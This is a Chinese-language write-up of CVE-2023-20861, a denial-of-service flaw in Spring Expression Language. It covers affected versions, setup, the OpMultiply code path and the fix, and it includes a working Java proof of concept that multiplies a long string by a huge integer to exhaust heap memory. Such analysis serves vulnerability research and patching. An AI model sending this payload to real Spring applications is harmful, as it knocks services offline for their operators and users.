0x01 简介
SPEL全称是 Spring Expression Language ,是Spring创建的表达式语言。用户可以输入特定的表达式导致拒绝服务。大家在挖洞的过程中可以关注一下,如果遇到的SPEL不存在远程代码执行漏洞,那么可以尝试一下拒绝服务漏洞。
0x02 影响版本
6.0.0 <= Spring Framwork <= 6.0.6
5.3.0 <= Spring Framwork <= 5.3.25
5.2.0.RELEASE <= Spring Framwork <= 5.2.22.RELEASE
0x03 环境搭建
创建一个maven项目,添加如下依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.2.22.RELEASE</version>
</dependency>
0x04 漏洞复现
利用如下Demo进行测试,看到抛出OutOfMemoryError的异常
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
public class Main {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
SimpleEvaluationContext context = new SimpleEvaluationContext.Builder().build();
Expression expr = parser.parseExpression("'akundaakundaakundaakundaakundaakundaakundaakundaakundaakundaakundaakunda'*88888888");
expr.getValue(context, String.class);
}
}
0x05 漏洞分析
SPEL表达式执行时会调用org.springframework.expression.spel.ast.OpMultiply#getValueInternal,根据AST获取左边的操作符和右边的操作符。
当左边是字符串且右边是整数时,会循环将左边的字符串加入到result中,循环次数由右边的整数指定。
即 result = <左边的字符串> * <右边的整数>,当我们字符串够长,整数够大时就能占满heap。
0x06 官方修复
先计算出 <字符串> * <整数> 的数量,然后检查该数量是否超过了最大值。
0x07 参考链接
https://spring.io/security/cve-2023-20861
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)